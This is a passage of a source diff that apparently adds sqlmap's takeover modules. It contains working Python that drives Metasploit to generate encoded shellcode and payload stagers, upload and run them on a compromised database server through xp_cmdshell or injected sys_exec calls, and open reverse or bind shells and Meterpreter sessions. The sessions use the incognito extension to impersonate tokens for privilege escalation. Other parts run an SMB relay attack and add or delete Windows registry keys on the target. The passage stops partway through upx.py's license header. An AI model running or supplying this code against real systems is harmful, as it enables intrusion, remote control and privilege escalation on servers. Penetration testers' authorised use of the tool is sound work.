||||
self.resourceFile = None
|
||||
|
||||
self.localIP = getLocalIP()
|
||||
self.remoteIP = getRemoteIP()
|
||||
|
||||
self.__msfCli = os.path.normpath("%s/msfcli" % conf.msfPath)
|
||||
self.__msfConsole = os.path.normpath("%s/msfconsole" % conf.msfPath)
|
||||
self.__msfEncode = os.path.normpath("%s/msfencode" % conf.msfPath)
|
||||
self.__msfPayload = os.path.normpath("%s/msfpayload" % conf.msfPath)
|
||||
|
||||
self.__msfPayloadsList = {
|
||||
"windows": {
|
||||
1: ( "Meterpreter (default)", "windows/meterpreter" ),
|
||||
2: ( "Shell", "windows/shell" ),
|
||||
3: ( "VNC", "windows/vncinject" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Shell", "linux/x86/shell" ),
|
||||
}
|
||||
}
|
||||
|
||||
self.__msfConnectionsList = {
|
||||
"windows": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Bind TCP (No NX)", "bind_nonx_tcp" ),
|
||||
3: ( "Reverse TCP", "reverse_tcp" ),
|
||||
4: ( "Reverse TCP (No NX)", "reverse_nonx_tcp" ),
|
||||
},
|
||||
"linux": {
|
||||
1: ( "Bind TCP (default)", "bind_tcp" ),
|
||||
2: ( "Reverse TCP", "reverse_tcp" ),
|
||||
}
|
||||
}
|
||||
|
||||
self.__msfEncodersList = {
|
||||
"windows": {
|
||||
1: ( "No Encoder", "generic/none" ),
|
||||
2: ( "Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed" ),
|
||||
3: ( "Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper" ),
|
||||
4: ( "Avoid UTF8/tolower", "x86/avoid_utf8_tolower" ),
|
||||
5: ( "Call+4 Dword XOR Encoder", "x86/call4_dword_xor" ),
|
||||
6: ( "Single-byte XOR Countdown Encoder", "x86/countdown" ),
|
||||
7: ( "Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov" ),
|
||||
8: ( "Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive" ),
|
||||
9: ( "Non-Alpha Encoder", "x86/nonalpha" ),
|
||||
10: ( "Non-Upper Encoder", "x86/nonupper" ),
|
||||
11: ( "Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai" ),
|
||||
12: ( "Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed" ),
|
||||
13: ( "Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper" ),
|
||||
}
|
||||
}
|
||||
|
||||
self.__msfSMBPortsList = {
|
||||
"windows": {
|
||||
1: ( "139/TCP (default)", "139" ),
|
||||
2: ( "445/TCP", "445" ),
|
||||
}
|
||||
}
|
||||
|
||||
self.__portData = {
|
||||
"bind": "remote port numer",
|
||||
"reverse": "local port numer",
|
||||
}
|
||||
|
||||
|
||||
def __skeletonSelection(self, msg, lst=None, maxValue=1, default=1):
|
||||
if kb.os == "Windows":
|
||||
os = "windows"
|
||||
else:
|
||||
os = "linux"
|
||||
|
||||
message = "which %s do you want to use?" % msg
|
||||
|
||||
if lst:
|
||||
for num, data in lst[os].items():
|
||||
description = data[0]
|
||||
|
||||
if num > maxValue:
|
||||
maxValue = num
|
||||
|
||||
if "default" in description:
|
||||
default = num
|
||||
|
||||
message += "\n[%d] %s" % (num, description)
|
||||
else:
|
||||
message += " [%d] " % default
|
||||
|
||||
choice = readInput(message, default="%d" % default)
|
||||
|
||||
if not choice:
|
||||
if lst:
|
||||
choice = str(default)
|
||||
else:
|
||||
return default
|
||||
|
||||
elif not choice.isdigit():
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
return self.__skeletonSelection(msg, lst, maxValue, default)
|
||||
|
||||
elif int(choice) > maxValue or int(choice) < 1:
|
||||
logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue)
|
||||
return self.__skeletonSelection(msg, lst, maxValue, default)
|
||||
|
||||
choice = int(choice)
|
||||
|
||||
if lst:
|
||||
choice = lst[os][choice][1]
|
||||
|
||||
return choice
|
||||
|
||||
|
||||
def __selectSMBPort(self):
|
||||
return self.__skeletonSelection("SMB port", self.__msfSMBPortsList)
|
||||
|
||||
|
||||
def __selectEncoder(self, encode=True):
|
||||
if kb.os == "Windows" and encode == True:
|
||||
return self.__skeletonSelection("payload encoding", self.__msfEncodersList)
|
||||
|
||||
|
||||
def __selectPayload(self, askChurrasco=True):
|
||||
if kb.os == "Windows" and conf.privEsc == True:
|
||||
infoMsg = "forcing Metasploit payload to Meterpreter because "
|
||||
infoMsg += "it is the only payload that can be used to abuse "
|
||||
infoMsg += "Windows Impersonation Tokens via Meterpreter "
|
||||
infoMsg += "'incognito' extension to privilege escalate"
|
||||
logger.info(infoMsg)
|
||||
|
||||
__payloadStr = "windows/meterpreter"
|
||||
|
||||
else:
|
||||
__payloadStr = self.__skeletonSelection("payload", self.__msfPayloadsList)
|
||||
|
||||
if __payloadStr == "windows/vncinject":
|
||||
choose = False
|
||||
|
||||
if kb.dbms == "MySQL":
|
||||
debugMsg = "by default MySQL on Windows runs as SYSTEM "
|
||||
debugMsg += "user, it is likely that the the VNC "
|
||||
debugMsg += "injection will be successful"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif kb.dbms == "PostgreSQL":
|
||||
choose = True
|
||||
|
||||
warnMsg = "by default PostgreSQL on Windows runs as "
|
||||
warnMsg += "postgres user, it is unlikely that the VNC "
|
||||
warnMsg += "injection will be successful"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
choose = True
|
||||
|
||||
warnMsg = "it is unlikely that the VNC injection will be "
|
||||
warnMsg += "successful because often Microsoft SQL Server "
|
||||
warnMsg += "%s runs as Network Service " % kb.dbmsVersion[0]
|
||||
warnMsg += "or the Administrator is not logged in"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if choose == True:
|
||||
message = "what do you want to do?\n"
|
||||
message += "[1] Give it a try anyway\n"
|
||||
message += "[2] Fall back to Meterpreter payload (default)\n"
|
||||
message += "[3] Fall back to Shell payload"
|
||||
|
||||
while True:
|
||||
choice = readInput(message, default="2")
|
||||
|
||||
if not choice or choice == "2":
|
||||
__payloadStr = "windows/meterpreter"
|
||||
|
||||
break
|
||||
|
||||
elif choice == "3":
|
||||
__payloadStr = "windows/shell"
|
||||
|
||||
break
|
||||
|
||||
elif choice == "1":
|
||||
if kb.dbms == "PostgreSQL":
|
||||
logger.warn("beware that the VNC injection might not work")
|
||||
|
||||
break
|
||||
|
||||
elif askChurrasco == False:
|
||||
logger.warn("beware that the VNC injection might not work")
|
||||
|
||||
break
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
|
||||
uploaded = self.uploadChurrasco()
|
||||
|
||||
if uploaded == False:
|
||||
warnMsg = "beware that the VNC injection "
|
||||
warnMsg += "might not work"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
break
|
||||
|
||||
elif not choice.isdigit():
|
||||
logger.warn("invalid value, only digits are allowed")
|
||||
|
||||
elif int(choice) < 1 or int(choice) > 2:
|
||||
logger.warn("invalid value, it must be 1 or 2")
|
||||
|
||||
return __payloadStr
|
||||
|
||||
|
||||
def __selectPort(self):
|
||||
for connType, connStr in self.__portData.items():
|
||||
if self.connectionStr.startswith(connType):
|
||||
return self.__skeletonSelection(connStr, maxValue=65535, default=randomRange(1025, 65535))
|
||||
|
||||
|
||||
def __selectRhost(self):
|
||||
if self.connectionStr.startswith("bind"):
|
||||
message = "which is the back-end DBMS address? [%s] " % self.remoteIP
|
||||
address = readInput(message, default=self.remoteIP)
|
||||
|
||||
if not address:
|
||||
address = self.remoteIP
|
||||
|
||||
return address
|
||||
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
return None
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
|
||||
def __selectConnection(self):
|
||||
return self.__skeletonSelection("connection type", self.__msfConnectionsList)
|
||||
|
||||
|
||||
def __prepareIngredients(self, encode=True, askChurrasco=True):
|
||||
self.connectionStr = self.__selectConnection()
|
||||
self.rhostStr = self.__selectRhost()
|
||||
self.portStr = self.__selectPort()
|
||||
self.payloadStr = self.__selectPayload(askChurrasco)
|
||||
self.encoderStr = self.__selectEncoder(encode)
|
||||
|
||||
|
||||
def __forgeMsfCliCmd(self, exitfunc="process"):
|
||||
self.__cliCmd = "%s multi/handler PAYLOAD=" % self.__msfCli
|
||||
self.__cliCmd += "%s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__cliCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__cliCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
if self.payloadStr == "windows/vncinject":
|
||||
self.__cliCmd += " DisableCourtesyShell=1"
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__cliCmd += " RHOST=%s" % self.rhostStr
|
||||
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self.__cliCmd += " LHOST=%s" % self.localIP
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
self.__cliCmd += " E"
|
||||
|
||||
|
||||
def __forgeMsfConsoleCmd(self):
|
||||
self.__consoleCmd = "%s -r %s" % (self.__msfConsole, self.resourceFile)
|
||||
|
||||
|
||||
def __forgeMsfConsoleResource(self):
|
||||
self.__prepareIngredients(encode=False, askChurrasco=False)
|
||||
|
||||
self.__resource = "use windows/smb/smb_relay\n"
|
||||
self.__resource += "set SRVHOST %s\n" % self.localIP
|
||||
self.__resource += "set SRVPORT %s\n" % self.__selectSMBPort()
|
||||
self.__resource += "set PAYLOAD %s/%s\n" % (self.payloadStr, self.connectionStr)
|
||||
self.__resource += "set LPORT %s\n" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__resource += "set RHOST %s\n" % self.rhostStr
|
||||
|
||||
elif self.connectionStr.startswith("reverse"):
|
||||
self.__resource += "set LHOST %s\n" % self.localIP
|
||||
|
||||
else:
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
self.__resource += "exploit\n"
|
||||
|
||||
self.resourceFile = "%s/%s" % (conf.outputPath, self.__randFile)
|
||||
self.resourceFp = open(self.resourceFile, "w")
|
||||
|
||||
self.resourceFp.write(self.__resource)
|
||||
self.resourceFp.close()
|
||||
|
||||
|
||||
def __forgeMsfPayloadCmd(self, exitfunc="process", output="exe", extra=None):
|
||||
self.__payloadCmd = self.__msfPayload
|
||||
self.__payloadCmd += " %s/%s" % (self.payloadStr, self.connectionStr)
|
||||
self.__payloadCmd += " EXITFUNC=%s" % exitfunc
|
||||
self.__payloadCmd += " LPORT=%s" % self.portStr
|
||||
|
||||
if self.connectionStr.startswith("reverse"):
|
||||
self.__payloadCmd += " LHOST=%s" % self.localIP
|
||||
|
||||
elif not self.connectionStr.startswith("bind"):
|
||||
raise sqlmapDataException, "unexpected connection type"
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.__payloadCmd += " R | %s -e %s -t %s" % (self.__msfEncode, self.encoderStr, output)
|
||||
|
||||
if extra is not None:
|
||||
self.__payloadCmd += " %s" % extra
|
||||
|
||||
else:
|
||||
self.__payloadCmd += " X"
|
||||
|
||||
|
||||
def __runMsfCli(self, exitfunc="process"):
|
||||
self.__forgeMsfCliCmd(exitfunc)
|
||||
|
||||
infoMsg = "running Metasploit Framework 3 command line "
|
||||
infoMsg += "interface locally, wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__cliCmd)
|
||||
|
||||
self.__msfCliProc = execute(self.__cliCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
def __runMsfConsole(self):
|
||||
infoMsg = "running Metasploit Framework 3 console locally, wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
logger.debug("executing local command: %s" % self.__consoleCmd)
|
||||
|
||||
self.__msfConsoleProc = execute(self.__consoleCmd, shell=True, stdin=PIPE, stdout=PIPE)
|
||||
|
||||
|
||||
def __runMsfPayloadRemote(self):
|
||||
infoMsg = "running Metasploit Framework 3 payload stager "
|
||||
infoMsg += "remotely, wait.."
|
||||
logger.info(infoMsg)
|
||||
|
||||
if kb.os != "Windows":
|
||||
self.execCmd("chmod +x %s" % self.exeFilePathRemote, silent=True)
|
||||
|
||||
cmd = "%s &" % self.exeFilePathRemote
|
||||
|
||||
if self.cmdFromChurrasco == True:
|
||||
cmd = "%s \"%s\"" % (self.churrascoPath, cmd)
|
||||
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(cmd)
|
||||
|
||||
# NOTE: calling the Metasploit payload from a system() function in
|
||||
# C on Windows (check on Linux the behaviour) for some reason
|
||||
# hangs it and the HTTP response goes into timeout, this does not
|
||||
# happen when running the it from Windows cmd.
|
||||
# Investigate and fix if possible
|
||||
self.execCmd(cmd, silent=True)
|
||||
|
||||
|
||||
def __loadMetExtensions(self, proc, metSess):
|
||||
if kb.os != "Windows":
|
||||
return
|
||||
|
||||
if self.resourceFile != None:
|
||||
proc.stdin.write("sessions -l\n")
|
||||
proc.stdin.write("sessions -i %s\n" % metSess)
|
||||
|
||||
proc.stdin.write("use priv\n")
|
||||
|
||||
if conf.privEsc == True:
|
||||
print
|
||||
|
||||
infoMsg = "loading Meterpreter 'incognito' extension and "
|
||||
infoMsg += "displaying the list of Access Tokens availables. "
|
||||
infoMsg += "Choose which user you want to impersonate by "
|
||||
infoMsg += "using incognito's command 'impersonate_token'"
|
||||
logger.info(infoMsg)
|
||||
|
||||
proc.stdin.write("use incognito\n")
|
||||
proc.stdin.write("getuid\n")
|
||||
proc.stdin.write("list_tokens -u\n")
|
||||
|
||||
|
||||
def __controlMsfCmd(self, proc, func):
|
||||
stdin_fd = sys.stdin.fileno()
|
||||
setNonBlocking(stdin_fd)
|
||||
|
||||
proc_out_fd = proc.stdout.fileno()
|
||||
setNonBlocking(proc_out_fd)
|
||||
|
||||
while True:
|
||||
returncode = proc.poll()
|
||||
|
||||
if returncode is None:
|
||||
# Child hasn't exited yet
|
||||
pass
|
||||
else:
|
||||
logger.debug("connection closed properly")
|
||||
return returncode
|
||||
|
||||
try:
|
||||
ready_fds = select([stdin_fd, proc_out_fd], [], [], 1)
|
||||
|
||||
if stdin_fd in ready_fds[0]:
|
||||
try:
|
||||
proc.stdin.write(blockingReadFromFD(stdin_fd))
|
||||
except IOError:
|
||||
# Probably the child has exited
|
||||
pass
|
||||
|
||||
if proc_out_fd in ready_fds[0]:
|
||||
out = blockingReadFromFD(proc_out_fd)
|
||||
blockingWriteToFD(sys.stdout.fileno(), out)
|
||||
|
||||
# For --os-pwn and --os-bof
|
||||
pwnBofCond = self.connectionStr.startswith("reverse")
|
||||
pwnBofCond &= "Starting the payload handler" in out
|
||||
|
||||
# For --os-smbrelay
|
||||
smbRelayCond = "Server started" in out
|
||||
|
||||
if pwnBofCond or smbRelayCond:
|
||||
func()
|
||||
|
||||
metSess = re.search("Meterpreter session ([\d]+) opened", out)
|
||||
|
||||
if metSess and self.payloadStr == "windows/meterpreter":
|
||||
self.__loadMetExtensions(proc, metSess.group(1))
|
||||
|
||||
except EOFError:
|
||||
returncode = proc.wait()
|
||||
|
||||
return returncode
|
||||
|
||||
|
||||
def createMsfShellcode(self):
|
||||
infoMsg = "creating Metasploit Framework 3 multi-stage shellcode "
|
||||
infoMsg += "for the exploit"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.shellcodeChar = ""
|
||||
self.__shellcodeFilePath = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "wb")
|
||||
|
||||
self.__initVars()
|
||||
self.__prepareIngredients(askChurrasco=False)
|
||||
self.__forgeMsfPayloadCmd(exitfunc="seh", output="raw", extra="-b \"\\x00\\x27\"")
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__shellcodeFileP, stderr=PIPE)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
self.__shellcodeFileP.close()
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
|
||||
debugMsg = "the shellcode size is %s bytes" % payloadSize
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
raise sqlmapFilePathException, "failed to create the shellcode"
|
||||
|
||||
self.__shellcodeFileP = open(self.__shellcodeFilePath, "rb")
|
||||
self.__shellcodeString = self.__shellcodeFileP.read()
|
||||
self.__shellcodeFileP.close()
|
||||
|
||||
os.unlink(self.__shellcodeFilePath)
|
||||
|
||||
hexStr = binascii.hexlify(self.__shellcodeString)
|
||||
|
||||
for hexPair in range(0, len(hexStr), 2):
|
||||
self.shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||
|
||||
|
||||
def createMsfPayloadStager(self, initialize=True):
|
||||
if initialize == True:
|
||||
infoMsg = ""
|
||||
else:
|
||||
infoMsg = "re"
|
||||
|
||||
infoMsg += "creating Metasploit Framework 3 payload stager"
|
||||
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
|
||||
if kb.os == "Windows":
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf.outputPath, self.__randStr)
|
||||
else:
|
||||
self.exeFilePathLocal = "%s/sqlmapmsf%s" % (conf.outputPath, self.__randStr)
|
||||
|
||||
self.__exeFileP = open(self.exeFilePathLocal, "wb")
|
||||
|
||||
if initialize == True:
|
||||
self.__initVars()
|
||||
|
||||
if self.payloadStr == None:
|
||||
self.__prepareIngredients()
|
||||
|
||||
self.__forgeMsfPayloadCmd()
|
||||
|
||||
logger.debug("executing local command: %s" % self.__payloadCmd)
|
||||
process = execute(self.__payloadCmd, shell=True, stdout=self.__exeFileP, stderr=PIPE)
|
||||
|
||||
dataToStdout("\r[%s] [INFO] creation in progress " % time.strftime("%X"))
|
||||
pollProcess(process)
|
||||
payloadStderr = process.communicate()[1]
|
||||
|
||||
if kb.os == "Windows":
|
||||
payloadSize = re.search("size ([\d]+)", payloadStderr, re.I)
|
||||
else:
|
||||
payloadSize = re.search("Length\:\s([\d]+)", payloadStderr, re.I)
|
||||
|
||||
self.__exeFileP.close()
|
||||
|
||||
os.chmod(self.exeFilePathLocal, stat.S_IRWXU)
|
||||
|
||||
if payloadSize:
|
||||
payloadSize = payloadSize.group(1)
|
||||
exeSize = os.path.getsize(self.exeFilePathLocal)
|
||||
packedSize = upx.pack(self.exeFilePathLocal)
|
||||
debugMsg = "the encoded payload size is %s bytes, " % payloadSize
|
||||
|
||||
if packedSize:
|
||||
debugMsg += "as a compressed portable executable its size "
|
||||
debugMsg += "is %d bytes, decompressed it " % packedSize
|
||||
debugMsg += "was %s bytes large" % exeSize
|
||||
else:
|
||||
debugMsg += "as a portable executable its size is "
|
||||
debugMsg += "%s bytes" % exeSize
|
||||
|
||||
logger.debug(debugMsg)
|
||||
else:
|
||||
raise sqlmapFilePathException, "failed to create the payload stager"
|
||||
|
||||
|
||||
def uploadMsfPayloadStager(self):
|
||||
self.exeFilePathRemote = "%s/%s" % (conf.tmpPath, os.path.basename(self.exeFilePathLocal))
|
||||
|
||||
logger.info("uploading payload stager to '%s'" % self.exeFilePathRemote)
|
||||
self.writeFile(self.exeFilePathLocal, self.exeFilePathRemote, "binary", False)
|
||||
|
||||
os.unlink(self.exeFilePathLocal)
|
||||
|
||||
|
||||
def pwn(self):
|
||||
self.__runMsfCli()
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.__runMsfPayloadRemote()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.__runMsfPayloadRemote)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
|
||||
def smb(self):
|
||||
self.__initVars()
|
||||
self.__randFile = "sqlmapunc%s.txt" % randomStr(lowercase=True)
|
||||
|
||||
if kb.dbms in ( "MySQL", "PostgreSQL" ):
|
||||
self.uncPath = "\\\\\\\\%s\\\\%s" % (self.localIP, self.__randFile)
|
||||
else:
|
||||
self.uncPath = "\\\\%s\\%s" % (self.localIP, self.__randFile)
|
||||
|
||||
self.__forgeMsfConsoleResource()
|
||||
self.__forgeMsfConsoleCmd()
|
||||
self.__runMsfConsole()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 console exited with return "
|
||||
debugMsg += "code %s" % self.__controlMsfCmd(self.__msfConsoleProc, self.uncPathRequest)
|
||||
logger.debug(debugMsg)
|
||||
|
||||
os.unlink(self.resourceFile)
|
||||
|
||||
|
||||
def bof(self):
|
||||
self.__runMsfCli(exitfunc="seh")
|
||||
|
||||
if self.connectionStr.startswith("bind"):
|
||||
self.spHeapOverflow()
|
||||
|
||||
debugMsg = "Metasploit Framework 3 command line interface exited "
|
||||
debugMsg += "with return code %s" % self.__controlMsfCmd(self.__msfCliProc, self.spHeapOverflow)
|
||||
logger.debug(debugMsg)
|
||||
139
lib/takeover/registry.py
Normal file
139
lib/takeover/registry.py
Normal file
|
|
@ -0,0 +1,139 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
import os
|
||||
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
|
||||
|
||||
class Registry:
|
||||
"""
|
||||
This class defines methods to read and write Windows registry keys
|
||||
"""
|
||||
|
||||
def __initVars(self, regKey, regName, regType=None, regValue=None, parse=False):
|
||||
self.__regKey = regKey
|
||||
self.__regName = regName
|
||||
self.__regType = regType
|
||||
self.__regValue = regValue
|
||||
|
||||
self.__randStr = randomStr(lowercase=True)
|
||||
self.__batPathRemote = "%s/sqlmapreg%s%s.bat" % (conf.tmpPath, self.__operation, self.__randStr)
|
||||
self.__batPathLocal = "%s/sqlmapreg%s%s.bat" % (conf.outputPath, self.__operation, self.__randStr)
|
||||
|
||||
if parse == True:
|
||||
readParse = "FOR /F \"tokens=2* delims==\" %%A IN ('REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\"') DO SET value=%%A\r\nECHO %value%\r\n"
|
||||
else:
|
||||
readParse = "REG QUERY \"" + self.__regKey + "\" /v \"" + self.__regName + "\""
|
||||
|
||||
self.__batRead = (
|
||||
"@ECHO OFF\r\n",
|
||||
readParse
|
||||
)
|
||||
|
||||
self.__batAdd = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG ADD \"%s\" /v \"%s\" /t %s /d %s /f" % (self.__regKey, self.__regName, self.__regType, self.__regValue)
|
||||
)
|
||||
|
||||
self.__batDel = (
|
||||
"@ECHO OFF\r\n",
|
||||
"REG DELETE \"%s\" /v \"%s\" /f" % (self.__regKey, self.__regName)
|
||||
)
|
||||
|
||||
|
||||
def __execBatPathRemote(self):
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
cmd = self.xpCmdshellForgeCmd(self.__batPathRemote)
|
||||
else:
|
||||
cmd = self.__batPathRemote
|
||||
|
||||
self.execCmd(cmd)
|
||||
|
||||
|
||||
def __createLocalBatchFile(self):
|
||||
self.__batPathFp = open(self.__batPathLocal, "w")
|
||||
|
||||
if self.__operation == "read":
|
||||
lines = self.__batRead
|
||||
elif self.__operation == "add":
|
||||
lines = self.__batAdd
|
||||
elif self.__operation == "delete":
|
||||
lines = self.__batDel
|
||||
|
||||
for line in lines:
|
||||
self.__batPathFp.write(line)
|
||||
|
||||
self.__batPathFp.close()
|
||||
|
||||
|
||||
def __createRemoteBatchFile(self):
|
||||
logger.debug("creating batch file '%s'" % self.__batPathRemote)
|
||||
|
||||
self.__createLocalBatchFile()
|
||||
self.writeFile(self.__batPathLocal, self.__batPathRemote, "text", False)
|
||||
|
||||
os.unlink(self.__batPathLocal)
|
||||
|
||||
|
||||
def readRegKey(self, regKey, regName, parse):
|
||||
self.__operation = "read"
|
||||
|
||||
self.__initVars(regKey, regName, parse=parse)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
logger.debug("reading registry key '%s' name '%s'" % (regKey, regName))
|
||||
|
||||
return self.evalCmd(self.__batPathRemote)
|
||||
|
||||
|
||||
def addRegKey(self, regKey, regName, regType, regValue):
|
||||
self.__operation = "add"
|
||||
|
||||
self.__initVars(regKey, regName, regType, regValue)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "adding registry key name '%s' " % self.__regName
|
||||
debugMsg += "to registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
|
||||
|
||||
def delRegKey(self, regKey, regName):
|
||||
self.__operation = "delete"
|
||||
|
||||
self.__initVars(regKey, regName)
|
||||
self.__createRemoteBatchFile()
|
||||
|
||||
debugMsg = "deleting registry key name '%s' " % self.__regName
|
||||
debugMsg += "from registry key '%s'" % self.__regKey
|
||||
logger.debug(debugMsg)
|
||||
|
||||
self.__execBatPathRemote()
|
||||
67
lib/takeover/udf.py
Normal file
67
lib/takeover/udf.py
Normal file
|
|
@ -0,0 +1,67 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
|
||||
|
||||
from lib.core.convert import urlencode
|
||||
from lib.core.exception import sqlmapUnsupportedFeatureException
|
||||
from lib.request import inject
|
||||
|
||||
|
||||
class UDF:
|
||||
"""
|
||||
This class defines methods to deal with User-Defined Functions for
|
||||
plugins.
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
self.createdUdf = set()
|
||||
self.udfToCreate = set()
|
||||
|
||||
|
||||
def udfExecCmd(self, cmd, silent=False):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("SELECT sys_exec('%s')" % cmd, silent)
|
||||
|
||||
|
||||
def udfEvalCmd(self, cmd):
|
||||
cmd = urlencode(cmd, convall=True)
|
||||
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (sys_eval('%s'))" % (self.cmdTblName, self.tblField, cmd))
|
||||
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
|
||||
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
|
||||
if isinstance(output, (list, tuple)):
|
||||
output = output[0]
|
||||
|
||||
return output
|
||||
|
||||
|
||||
def udfInit(self):
|
||||
errMsg = "udfInit() method must be defined within the plugin"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
89
lib/takeover/upx.py
Normal file
89
lib/takeover/upx.py
Normal file
|
|
@ -0,0 +1,89 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
